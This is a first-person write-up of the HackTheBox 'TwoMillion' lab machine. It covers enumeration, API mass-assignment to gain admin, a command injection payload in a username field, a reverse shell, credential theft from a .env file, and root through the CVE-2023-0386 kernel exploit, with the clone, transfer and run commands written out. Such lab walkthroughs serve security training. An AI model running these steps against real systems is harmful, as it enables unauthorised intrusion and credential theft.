TwoMillion HTB Writeup

Univeth
5 min readJun 28, 2023

--

This is my first ever writeup, so I highly doubt it’s very good.

Starting with the enumeration phase, I use nmap to scan the ports:

sudo nmap -p- -sCV -T4 10.10.11.221

The scan shows that the machine has SSH and an HTTP website open using nginx. The site redirects to http://2million.htb/, so I add that to the /etc/hosts file.

The website looks like a copy of the old HackTheBox site:

Looking around the website, I find a couple of interesting things, mainly input fields, but they don’t seem to be vulnerable to anything. I also found some JavaScript code on the source page of the “register” page.

Looking at the JavaScript file initeapi.min.js, I can see that it’s a bit unreadable, so I use https://beautifier.io/ to make it more readable. In the JS code, I see two functions, one of which is calling another function at http://2million.htb/api/v1/invite/how/to/generate by making a POST request and getting the file. I use beautifier again to read the decrypted data that says:

In order to generate the invite code, make a POST request to \/api\/v1\/invite\/generate

So I make a curl request to get the invite code. However, I still need to decrypt it with Cyberchef as it’s been encoded with Base64:

I can then register a user. The credentials don’t matter here. On the 2million.htb/home page, I find that not many of the buttons are accessible. Only a few like “Access” are accessible, which narrows down my search by a lot.

By intercepting the request for downloading our Access VPN, I find that the GET request can be changed. So by default, it’s /api/v1/user/vpn/regenerate, but by going to /api/ and /api/v1/, I can see different things. For example, going to /api/v1/ shows multiple endpoints are available:

I can then go to some of these endpoints and look around. Going to /api/v1/admin/auth gives the message “False” as I’m not admin. Going to the other endpoint results in 401. Lastly, going to the last one using “PUT” instead of “GET” gives this message:

I know that this is JSON by looking at it, so I change the Content-Type in Burp to be “application/json”. By sending this, I get another missing parameter: email. So I add my email that I made previously and another missing parameter: “is_admin”. I set “is_admin” to True (which has to be either 0 or 1), and I get the message back that:

Going to /api/v1/admin/auth, I get the “message”: True, which means that my user is indeed now admin.

Now going back to one of the endpoints we couldn’t access before, /api/v1/admin/vpn/generate, we can generate the access VPN if we enter a username parameter. Furthermore, that said username parameter is actually vulnerable to simple command injection, so by doing “username”:”;whoami;”, we’ll get www-data. From here, we almost always want to try and get a reverse shell. I just used this Bash reverse shell and then Base64 encoded it to work properly and give a reverse shell:

Now that I have a reverse shell, I look through a couple of the files in the html folder and find nothing. Typing out .env prints out the credentials for the admin user, something I could’ve also found by running the linPEAS script. The .env file is typically used to store sensitive information such as API keys, database credentials etc.

Logging into the “admin” user with SSH, I get the user.txt, and now it’s time to try and get root privileges.

Doing sudo -i tells me that my user has no apparent sudo privileges. At this point, I can either take some time to look around the system for interesting files and folders or import and run LinPEAS. However, in the banner text when SSH’ing in, I see that the user admin has “mail”. So I go over to /var/mail/admin and find a message from ch4p saying that the Linux kernel has some “serious CVEs”.

Using LinPEAS and the command “uname -a”, I’m able to figure out the version of the Linux kernel and searching on Google, I find the CVE called CVE-2023–0386.

I find a pretty good and simple POC here, so I follow this POC to get root.

The exploit is actually very simple to perform. I download the files, zip them to make it easier to transport them from my PC to the targets, then run the “make all” command which is used to compile/build the necessary files/dependencies. I then execute the different files in different shells:

git clone <https://github.com/sxlmnwb/CVE-2023-0386>

zip -r exploit.zip CVE-2023-0386

sudo python3 -m http.server 80

wget tun0/exploit.zip # In /tmp dir on target

unzip exploit.zip # In /tmp dir on target

make all

# Session 1
./fuse ./ovlcap/lower ./gc &

# Session 2
./exp

And that’s basically it. I was then able to get root.txt:

--

--